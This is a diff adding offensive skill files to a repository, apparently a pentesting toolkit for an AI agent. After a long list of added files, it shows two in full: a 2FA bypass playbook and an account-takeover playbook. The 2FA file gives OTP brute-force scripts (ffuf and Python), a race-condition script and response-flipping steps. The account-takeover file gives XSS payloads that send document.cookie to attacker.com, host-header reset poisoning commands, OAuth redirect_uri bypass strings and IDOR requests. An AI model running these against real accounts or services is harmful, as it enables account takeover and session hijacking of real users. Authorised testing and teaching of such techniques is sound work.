- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: 2fa-bypass
|
|
5
|
+
description: 2FA/MFA bypass techniques — OTP brute force, response manipulation, race conditions, backup code abuse, CSRF bypass, SIM swapping indicators, and authentication flow manipulation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# 2FA / MFA Bypass
|
|
9
|
+
|
|
10
|
+
2FA adds a second authentication factor. These techniques bypass it without knowing the OTP. Focus: logic flaws in implementation, not cryptographic attacks.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Response Manipulation
|
|
15
|
+
|
|
16
|
+
The simplest and most common bypass — change the response to indicate success:
|
|
17
|
+
|
|
18
|
+
# 1. Enter valid username + password
|
|
19
|
+
# 2. Intercept 2FA verification request (correct OTP OR wrong OTP)
|
|
20
|
+
# 3. Intercept the RESPONSE and modify it:
|
|
21
|
+
|
|
22
|
+
# Change response status code:
|
|
23
|
+
HTTP/1.1 403 Forbidden → HTTP/1.1 200 OK
|
|
24
|
+
|
|
25
|
+
# Change response body:
|
|
26
|
+
{"success": false, "message": "Invalid OTP"} → {"success": true}
|
|
27
|
+
{"verified": false} → {"verified": true}
|
|
28
|
+
{"status": "error"} → {"status": "success"}
|
|
29
|
+
{"error": "Invalid code"} → {} # Empty the error
|
|
30
|
+
|
|
31
|
+
# Change redirect:
|
|
32
|
+
Location: /verify-2fa → Location: /dashboard
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## OTP Brute Force
|
|
37
|
+
|
|
38
|
+
# Check for rate limiting:
|
|
39
|
+
# Send 10+ OTP attempts rapidly → blocked? No = vulnerable
|
|
40
|
+
|
|
41
|
+
# 6-digit OTP = 1,000,000 combinations
|
|
42
|
+
# 4-digit OTP = 10,000 combinations
|
|
43
|
+
|
|
44
|
+
# ffuf brute force (adjust for your form):
|
|
45
|
+
seq -w 0 999999 | ffuf -u http://target.com/verify-otp \
|
|
46
|
+
-X POST -H "Content-Type: application/json" \
|
|
47
|
+
-H "Cookie: session=<your_session>" \
|
|
48
|
+
-d '{"otp":"FUZZ","token":"<flow_token>"}' \
|
|
49
|
+
-w - -mc 200 -fr "invalid"
|
|
50
|
+
|
|
51
|
+
# Python script (rate-limited):
|
|
52
|
+
python3 -c "
|
|
53
|
+
import requests, time
|
|
54
|
+
session = requests.Session()
|
|
55
|
+
session.cookies.update({'session': '<your_session_cookie>'})
|
|
56
|
+
for otp in range(10000):
|
|
57
|
+
code = str(otp).zfill(6)
|
|
58
|
+
r = session.post('http://target.com/verify',
|
|
59
|
+
json={'otp': code, 'token': '<flow_token>'})
|
|
60
|
+
if 'success' in r.text or r.status_code == 302:
|
|
61
|
+
print(f'OTP: {code}')
|
|
62
|
+
break
|
|
63
|
+
time.sleep(0.05) # Adjust delay
|
|
64
|
+
"
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## OTP Reuse
|
|
69
|
+
|
|
70
|
+
# Test: use the same OTP twice after successful verification
|
|
71
|
+
# If second use doesn't fail → OTPs are not invalidated after use
|
|
72
|
+
|
|
73
|
+
# Test: use expired OTP (wait >30 seconds after generation)
|
|
74
|
+
# If still works → no expiry enforced
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## Skip 2FA Step (Direct Navigation)
|
|
79
|
+
|
|
80
|
+
# After authenticating with username/password but before 2FA:
|
|
81
|
+
# Try directly accessing authenticated endpoints:
|
|
82
|
+
GET /dashboard
|
|
83
|
+
GET /account/settings
|
|
84
|
+
GET /api/user/profile
|
|
85
|
+
# If accessible → 2FA check not enforced after step 1
|
|
86
|
+
|
|
87
|
+
# Also try: modify the 2FA step parameter in request:
|
|
88
|
+
POST /login
|
|
89
|
+
{"step": 1, "username": "victim", "password": "pass"}
|
|
90
|
+
# Skip step 2 entirely:
|
|
91
|
+
GET /dashboard # Direct access after step 1
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Backup Code / Recovery Code Abuse
|
|
96
|
+
|
|
97
|
+
# Test if backup codes can be brute forced:
|
|
98
|
+
# Backup codes are usually 8-12 digit numeric
|
|
99
|
+
# No lockout? → brute force 10-20 million combinations
|
|
100
|
+
|
|
101
|
+
# Test if backup codes are reusable:
|
|
102
|
+
# Use code → logout → login again → use same code
|
|
103
|
+
# If works → codes not invalidated
|
|
104
|
+
|
|
105
|
+
# Test if backup codes have weaker rate limiting than TOTP:
|
|
106
|
+
# Often implemented differently, sometimes no lockout
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## Race Condition on OTP Validation
|
|
111
|
+
|
|
112
|
+
# If OTP valid for window (30 seconds) → parallel requests:
|
|
113
|
+
# Send 20 simultaneous validation requests with same OTP
|
|
114
|
+
# Server validates OTP → one of 20 succeeds (or all succeed = RCE-level)
|
|
115
|
+
|
|
116
|
+
# Python race condition (see scripting.md for HTTP/2 template):
|
|
117
|
+
python3 -c "
|
|
118
|
+
import asyncio, httpx
|
|
119
|
+
|
|
120
|
+
async def verify_otp(client, otp):
|
|
121
|
+
return await client.post('https://target.com/verify',
|
|
122
|
+
json={'otp': otp},
|
|
123
|
+
cookies={'session': '<cookie>'})
|
|
124
|
+
|
|
125
|
+
async def race():
|
|
126
|
+
async with httpx.AsyncClient(http2=True, verify=False) as client:
|
|
127
|
+
tasks = [verify_otp(client, '123456') for _ in range(20)]
|
|
128
|
+
results = await asyncio.gather(*tasks)
|
|
129
|
+
for r in results:
|
|
130
|
+
print(r.status_code, r.text[:50])
|
|
131
|
+
|
|
132
|
+
asyncio.run(race())
|
|
133
|
+
"
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## CSRF on 2FA Disable
|
|
138
|
+
|
|
139
|
+
# If disabling 2FA lacks CSRF protection:
|
|
140
|
+
# Attacker crafts CSRF form → victim clicks link → 2FA disabled
|
|
141
|
+
# Check: POST /account/2fa/disable requires CSRF token?
|
|
142
|
+
curl -X POST http://target.com/account/2fa/disable \
|
|
143
|
+
-H "Cookie: session=victim_session" \
|
|
144
|
+
-d "confirm=true"
|
|
145
|
+
# If succeeds without CSRF token → CSRF bypass of 2FA
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## SIM Swap Indicators
|
|
150
|
+
|
|
151
|
+
# If 2FA via SMS → identify if phone number change is possible without 2FA:
|
|
152
|
+
# Test: change phone number → does it bypass 2FA?
|
|
153
|
+
# Test: add new phone number → use new number to bypass existing 2FA
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## Auth Token / Cookie Manipulation
|
|
158
|
+
|
|
159
|
+
# After completing 2FA → get session cookie
|
|
160
|
+
# Test: skip 2FA by copying session cookie from another session that completed 2FA
|
|
161
|
+
# Test: decode JWT from post-2FA session and use it pre-2FA
|
|
162
|
+
|
|
163
|
+
# JWT manipulation (if session is JWT):
|
|
164
|
+
# See authentication_jwt.md for JWT attacks
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## Predictable OTP Generation
|
|
169
|
+
|
|
170
|
+
# Time-based OTP prediction:
|
|
171
|
+
# If OTP is generated server-side (not TOTP) and based on predictable values:
|
|
172
|
+
# timestamp, user_id, request_count → reverse engineer and predict next OTP
|
|
173
|
+
|
|
174
|
+
# Test: request OTP multiple times and look for patterns:
|
|
175
|
+
# OTP 1: 123456, OTP 2: 123457 → sequential = predictable
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## Email OTP Link Manipulation
|
|
180
|
+
|
|
181
|
+
# If 2FA via email link (magic link):
|
|
182
|
+
# Test: modify token in URL → sequential? predictable?
|
|
183
|
+
# Test: reuse link after clicking → not invalidated?
|
|
184
|
+
# Test: link doesn't expire
|
|
185
|
+
|
|
186
|
+
# Token entropy check:
|
|
187
|
+
# 6-char alphanumeric token = 36^6 = ~2 billion (acceptable)
|
|
188
|
+
# 4-char numeric = 10^4 = 10,000 (brute-forceable)
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## Automated Testing
|
|
193
|
+
|
|
194
|
+
# nuclei 2FA bypass templates:
|
|
195
|
+
nuclei -t http/vulnerabilities/auth/ -u http://target.com/
|
|
196
|
+
|
|
197
|
+
# Custom template for OTP brute (see nuclei templates):
|
|
198
|
+
# Adjust for specific target's OTP endpoint
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## Pro Tips
|
|
203
|
+
|
|
204
|
+
1. **Response manipulation is #1** — always intercept and flip `false → true` in 2FA response first
|
|
205
|
+
2. Rate limit bypass: try concurrent requests, IPv6 rotation, X-Forwarded-For header change per request
|
|
206
|
+
3. Direct navigation after step 1 (before 2FA) catches poorly implemented auth flows
|
|
207
|
+
4. Backup codes often have weaker protection than TOTP — test rate limiting separately
|
|
208
|
+
5. Race condition on OTP: HTTP/2 single-packet attack makes 20 simultaneous requests arrive at same time
|
|
209
|
+
6. CSRF on 2FA management (disable, change phone) is still common — check all 2FA management endpoints
|
|
210
|
+
|
|
211
|
+
## Summary
|
|
212
|
+
|
|
213
|
+
2FA bypass priority:
|
|
214
|
+
1. Response manipulation: intercept verify response → `"success": true`
|
|
215
|
+
2. Skip step: navigate to protected page after step 1 (before 2FA)
|
|
216
|
+
3. OTP brute force: if no rate limiting on 6-digit TOTP → 1M combinations
|
|
217
|
+
4. OTP reuse: use same OTP twice → not invalidated?
|
|
218
|
+
5. Race condition: 20 parallel requests with same OTP
|
|
219
|
+
6. Backup code brute: often weaker rate limiting than TOTP
|
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: account-takeover
|
|
5
|
+
description: Account takeover methodology — password reset flaws, token predictability, OAuth misconfigurations, email verification bypass, username collision, and full ATO attack chains
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Account Takeover (ATO)
|
|
9
|
+
|
|
10
|
+
ATO = gaining access to another user's account. Combines vulnerabilities across auth flows. Highest-impact finding in bug bounty.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Password Reset Flaws
|
|
15
|
+
|
|
16
|
+
### Reset Token in URL (Referer Leakage)
|
|
17
|
+
|
|
18
|
+
# Password reset link: https://target.com/reset?token=SECRET_TOKEN
|
|
19
|
+
# If reset page loads external resources (analytics, CDN, fonts):
|
|
20
|
+
# Referer header sent to third party: Referer: https://target.com/reset?token=SECRET_TOKEN
|
|
21
|
+
# → Token leaked to third party
|
|
22
|
+
|
|
23
|
+
# Check: load password reset link → inspect network requests → find Referer headers
|
|
24
|
+
|
|
25
|
+
### Weak/Predictable Reset Token
|
|
26
|
+
|
|
27
|
+
# Request 5 password reset tokens for test accounts → look for patterns:
|
|
28
|
+
# Sequential: ABC123, ABC124, ABC125 → predictable
|
|
29
|
+
# Time-based: token = md5(username + timestamp) → brute-forceable
|
|
30
|
+
# Short: 6-digit numeric → brute in <1M requests
|
|
31
|
+
|
|
32
|
+
# Entropy check (token should be 128+ bits of randomness):
|
|
33
|
+
python3 -c "
|
|
34
|
+
import base64, hashlib
|
|
35
|
+
tokens = ['<token1>', '<token2>', '<token3>']
|
|
36
|
+
for t in tokens:
|
|
37
|
+
print(f'Token: {t}, Length: {len(t)}, Entropy estimate: {len(t)*4} bits')
|
|
38
|
+
"
|
|
39
|
+
|
|
40
|
+
### Token Not Invalidated After Use
|
|
41
|
+
|
|
42
|
+
# Use reset token → change password → try same token again:
|
|
43
|
+
curl -X POST http://target.com/reset-password \
|
|
44
|
+
-d "token=<used_token>&password=NewPass123!"
|
|
45
|
+
# If success → token reusable
|
|
46
|
+
|
|
47
|
+
### Host Header Injection in Reset Email
|
|
48
|
+
|
|
49
|
+
# See host_header_injection.md
|
|
50
|
+
curl -X POST http://target.com/forgot-password \
|
|
51
|
+
-H "X-Forwarded-Host: attacker.com" \
|
|
52
|
+
-d "email=victim@target.com"
|
|
53
|
+
# Reset link goes to attacker.com → attacker clicks it → account takeover
|
|
54
|
+
|
|
55
|
+
### Reset Link Not Expiring
|
|
56
|
+
|
|
57
|
+
# Request reset → wait 24 hours → use link:
|
|
58
|
+
curl "https://target.com/reset?token=<token>"
|
|
59
|
+
# Should return: "Token expired"
|
|
60
|
+
# If still works → no expiry → ATO if attacker gets old email access
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Email Change → Account Takeover
|
|
65
|
+
|
|
66
|
+
### Pre-Change Email Verification Bypass
|
|
67
|
+
|
|
68
|
+
# Request email change to attacker@evil.com
|
|
69
|
+
# Verification email sent to old email AND new email?
|
|
70
|
+
# If verification sent to NEW email only → attacker confirms own change → ATO
|
|
71
|
+
|
|
72
|
+
### Email Change Without Password
|
|
73
|
+
|
|
74
|
+
# Test: can email be changed without confirming current password?
|
|
75
|
+
curl -X POST http://target.com/account/email \
|
|
76
|
+
-H "Cookie: session=<victim_session>" \
|
|
77
|
+
-d "new_email=attacker@evil.com"
|
|
78
|
+
|
|
79
|
+
### Email Confirmation Link Reuse
|
|
80
|
+
|
|
81
|
+
# Change email → get confirmation link → revert email change → use old link
|
|
82
|
+
# If link still works → change email to anything
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## Username Collision / Account Merge
|
|
87
|
+
|
|
88
|
+
# Register with variations of existing username:
|
|
89
|
+
# Existing: "admin" → Register: "Admin", "ADMIN", "admin " (trailing space), "admin\x00"
|
|
90
|
+
# If login normalizes but registration doesn't → collision → access admin account
|
|
91
|
+
|
|
92
|
+
# NULL byte truncation:
|
|
93
|
+
username = "admin%00attacker" → stored as "admin" → login as admin
|
|
94
|
+
|
|
95
|
+
# Unicode normalization:
|
|
96
|
+
# "ADmin" (fullwidth) normalizes to "ADmin" → collision with "ADmin"
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## OAuth Misconfiguration → ATO
|
|
101
|
+
|
|
102
|
+
### Redirect URI Bypass
|
|
103
|
+
|
|
104
|
+
# OAuth authorization endpoint:
|
|
105
|
+
# Legitimate: ?redirect_uri=https://target.com/callback
|
|
106
|
+
# Attack: ?redirect_uri=https://attacker.com/callback
|
|
107
|
+
# If allowed → auth code/token sent to attacker.com
|
|
108
|
+
|
|
109
|
+
# Subdomain open redirect:
|
|
110
|
+
?redirect_uri=https://target.com.attacker.com/
|
|
111
|
+
?redirect_uri=https://attacker.com%2Ftarget.com
|
|
112
|
+
?redirect_uri=https://target.com/logout?redirect=//attacker.com/
|
|
113
|
+
|
|
114
|
+
# Path traversal:
|
|
115
|
+
?redirect_uri=https://target.com/../../attacker.com
|
|
116
|
+
|
|
117
|
+
### State Parameter Missing → CSRF
|
|
118
|
+
|
|
119
|
+
# OAuth flow without state parameter:
|
|
120
|
+
# 1. Attacker initiates OAuth → gets auth URL with no state
|
|
121
|
+
# 2. Drops the request before redirect (keeps auth URL)
|
|
122
|
+
# 3. Victim visits attacker's page → CSRF → victim's account linked to attacker's OAuth
|
|
123
|
+
|
|
124
|
+
### Token Leakage in Referer
|
|
125
|
+
|
|
126
|
+
# After OAuth callback: https://target.com/callback?code=AUTH_CODE
|
|
127
|
+
# If page loads external resources → auth code in Referer → code stolen
|
|
128
|
+
|
|
129
|
+
### Account Linking → ATO
|
|
130
|
+
|
|
131
|
+
# If target allows linking multiple OAuth providers:
|
|
132
|
+
# Login as victim (via compromised OAuth provider or IDOR)
|
|
133
|
+
# Link attacker's Google account
|
|
134
|
+
# Login to victim account via attacker's Google → ATO
|
|
135
|
+
|
|
136
|
+
# See oauth_saml.md for complete OAuth attack playbook
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## API Key / Token Exposure
|
|
141
|
+
|
|
142
|
+
# Hardcoded in JS:
|
|
143
|
+
web_search("site:target.com inurl:.js")
|
|
144
|
+
curl https://target.com/app.js | grep -i "api.?key\|token\|secret\|password"
|
|
145
|
+
|
|
146
|
+
# In git history:
|
|
147
|
+
git log --all -p | grep -E "api.?key|token|secret"
|
|
148
|
+
trufflehog git <repo_url> --json
|
|
149
|
+
|
|
150
|
+
# In local storage / cookies (via XSS):
|
|
151
|
+
# See xss.md for cookie/localStorage extraction
|
|
152
|
+
|
|
153
|
+
---
|
|
154
|
+
|
|
155
|
+
## Account Takeover via XSS → Cookie Theft
|
|
156
|
+
|
|
157
|
+
# Store XSS → steal session cookie:
|
|
158
|
+
# Payload:
|
|
159
|
+
fetch('https://attacker.com/steal?c=' + document.cookie)
|
|
160
|
+
new Image().src = 'https://attacker.com/?c=' + encodeURIComponent(document.cookie)
|
|
161
|
+
|
|
162
|
+
# If HttpOnly: use XSS to make authenticated requests (CSRF bypass):
|
|
163
|
+
fetch('https://target.com/api/change-email', {
|
|
164
|
+
method: 'POST',
|
|
165
|
+
body: JSON.stringify({email: 'attacker@evil.com'}),
|
|
166
|
+
credentials: 'include'
|
|
167
|
+
})
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## IDOR on Account Management
|
|
172
|
+
|
|
173
|
+
# Change password for other users via user ID:
|
|
174
|
+
POST /api/v1/users/12345/password ← victim's ID
|
|
175
|
+
{"new_password": "AttackerPass!"}
|
|
176
|
+
|
|
177
|
+
# Change email for other users:
|
|
178
|
+
PUT /api/v1/users/12345
|
|
179
|
+
{"email": "attacker@evil.com"}
|
|
180
|
+
|
|
181
|
+
# See idor.md for full IDOR methodology
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## Complete ATO Chain Examples
|
|
186
|
+
|
|
187
|
+
### Chain 1: Password Reset + Host Header
|
|
188
|
+
1. `POST /forgot-password` with `X-Forwarded-Host: attacker.com`
|
|
189
|
+
2. Victim requests reset → link in email → `https://attacker.com/reset?token=xxx`
|
|
190
|
+
3. Attacker server logs the token
|
|
191
|
+
4. Attacker uses token: `POST /reset-password` → owns account
|
|
192
|
+
|
|
193
|
+
### Chain 2: XSS → Session Hijack
|
|
194
|
+
1. Find stored XSS in profile field
|
|
195
|
+
2. Inject: `<script>fetch('//attacker.com/?c='+document.cookie)</script>`
|
|
196
|
+
3. Admin/victim views profile → cookie sent to attacker
|
|
197
|
+
4. Attacker uses cookie → authenticated as victim
|
|
198
|
+
|
|
199
|
+
### Chain 3: OAuth CSRF + Account Link
|
|
200
|
+
1. Initiate OAuth flow → capture URL (no state parameter)
|
|
201
|
+
2. Victim visits CSRF page → links attacker's OAuth to victim account
|
|
202
|
+
3. Attacker logs in via own OAuth → gets victim's account
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## Pro Tips
|
|
207
|
+
|
|
208
|
+
1. **Password reset flow is #1 ATO vector** — test every step: token entropy, expiry, reuse, Host header
|
|
209
|
+
2. Check `Referer` header leakage when reset link loaded — analytics and CDN providers receive tokens
|
|
210
|
+
3. Username normalization collisions (case, spaces, unicode) often overlooked by developers
|
|
211
|
+
4. OAuth without state parameter = CSRF → account linking ATO
|
|
212
|
+
5. Always test email change: requires password? sends to old or new email? confirmation reusable?
|
|
213
|
+
6. IDOR on account management endpoints = mass ATO across all users
|
|
214
|
+
|
|
215
|
+
## Summary
|
|
216
|
+
|
|
217
|
+
ATO testing order:
|
|
218
|
+
1. Password reset: Host header injection → token predictability → token reuse → expiry
|
|
219
|
+
2. Email change: no password required → verify link sent to new address → link reuse
|
|
220
|
+
3. OAuth: redirect_uri bypass → state parameter → token in Referer
|
|
221
|
+
4. IDOR: numeric user IDs on account management endpoints
|
|
222
|
+
5. XSS → session cookie theft → account access
|
|
223
|
+
6. API key extraction from JS files, git history, local storage
|